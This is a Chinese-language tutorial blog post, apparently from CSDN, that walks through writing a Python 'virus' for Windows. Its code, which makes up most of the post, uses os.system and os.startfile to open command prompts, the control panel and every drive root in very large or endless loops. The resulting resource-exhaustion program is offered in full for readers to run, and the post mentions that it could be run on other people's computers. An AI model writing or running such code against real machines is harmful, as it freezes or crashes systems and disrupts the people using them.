【无标题】

这篇博客介绍了一个使用Python编写的简单病毒程序,主要利用OS库不断打开命令提示符、控制面板和磁盘,以此展示潜在的危害。作者警告读者在实际操作中可能造成的损失自负,并鼓励对代码进行改进。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Python制作简易病毒(最简单的那种)

Life is short,you need python!
人生苦短,我用Python。我是一个普通的Python程序员。今天,一个朋友让我做一个病毒,不过,我想各位一定也想看我做病毒(以及电脑崩溃 )。
不过我要警告大家,在自己或他人的电脑上做实验造成的损失,我不负责。
话不多说,上代码。

OS库可以让我们的代码拥有调用电脑的功能。OS库属于默认库,所以我们不需要下载。

import os
os.system("start cmd")#打开cmd

这两行就是我们病毒的最核心的代码。
有人可能会问:“开个cmd有什么危险的呢?”
一个cmd没什么威胁,那几百个,几千个呢?
没错,我们要加上循环。

import os
for i in range(0,10000):#重复10000次
	os.system("start cmd")#打开cmd

觉得自己是个狠人的把第2行换成while True:
不过循环时只开cmd是不够的,我们还要有控制面板

import os
os.system("control panel")

对了,我们文件夹也不能落下,文件夹也能卡死你。首先我们要知道电脑有一个磁盘(开磁盘时最卡)

import os#导入OS库
num=0 #num是磁盘数量
lis=["A","B","C","D",'E','F','G','H',"I","J","K","L",'M','N','O','P',"Q","R","S","T",'U','V','W','X',"Y","Z"]
#制作字母表来开文件夹,打开磁盘
for i in lis:#重复执行,第一次i是A,第二次i是B···
    try:#看看行不行,在try和except之间报错的话执行except后面的内容
        os.startfile(i+":")#第一次打开A:,第二次打开B:   如果你没有对应磁盘,执行except后的内容
        num=num+1#如果打开成功,说明又有一个磁盘存在,num增加1,表示电脑目前有num个磁盘已知
    except:
        pass#不执行任何操作

        
print(num)#输出磁盘数量

如果有大神愿意用ASCII表来打开,则可以省很多时间,但我不会。实验效果:
在这里插入图片描述
我这里用的是pycharm,输出结果在左侧的圈上,我有两个磁盘(C:和D:)
接下来,我们就要尝试重复打开磁盘。各位大神可以自行处理,我打算就把刚刚的内容改一改。

import os#导入OS库
lis=["A","B","C","D",'E','F','G','H',"I","J","K","L",'M','N','O','P',"Q","R","S","T",'U','V','W','X',"Y","Z"]
#制作字母表来开文件夹,打开磁盘
for i in range(1,100):
    for i in lis:#重复执行,第一次i是A,第二次i是B···
        try:#看看行不行,在try和except之间报错的话执行except后面的内容
            os.startfile(i+":")#第一次打开A:,第二次打开B:   如果你没有对应磁盘,执行except后的内容

        except:
            pass#不执行任何操作

不过我们运行之后文件夹不会重复打开。这是因为Windows11不会将一个文件夹打开多次,而且这样还会影响cmd和控制面板打开。我把程序改了一下,这样就不会出现打不开的情况了。

import os#导入OS库
li=[]
lis=["A","B","C","D",'E','F','G','H',"I","J","K","L",'M','N','O','P',"Q","R","S","T",'U','V','W','X',"Y","Z"]
#制作字母表来开文件夹,打开磁盘
for i in lis:#重复执行,第一次i是A,第二次i是B···
    try:#看看行不行,在try和except之间报错的话执行except后面的内容
        os.startfile(i+":")#第一次打开A:,第二次打开B:   如果你没有对应磁盘,执行except后的内容
        li.append(i+':')
    except:
        pass#不执行任何操作
for e in range(10):
    for j in li:
        os.startfile(j)
        os.system("start cmd")

这样的话在Windows11里不会影响cmd,但文件夹还是打开一次。Windows10的结果等着各位告诉我。
接下来,上全代码:

import os#导入OS库
li=[]
lis=["A","B","C","D",'E','F','G','H',"I","J","K","L",'M','N','O','P',"Q","R","S","T",'U','V','W','X',"Y","Z"]
#制作字母表来开文件夹,打开磁盘
for i in lis:#重复执行,第一次i是A,第二次i是B···
    try:#看看行不行,在try和except之间报错的话执行except后面的内容
        os.startfile(i+":")#第一次打开A:,第二次打开B:   如果你没有对应磁盘,执行except后的内容
        li.append(i+':')
    except:
        pass#不执行任何操作
for e in range(10000000000000000000000000000000000000):
    for j in li:
        os.startfile(j)
        os.system("start cmd")
        os.system("control panel")

有更好建议的可以给我提提建议。我是PythonUser10235。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值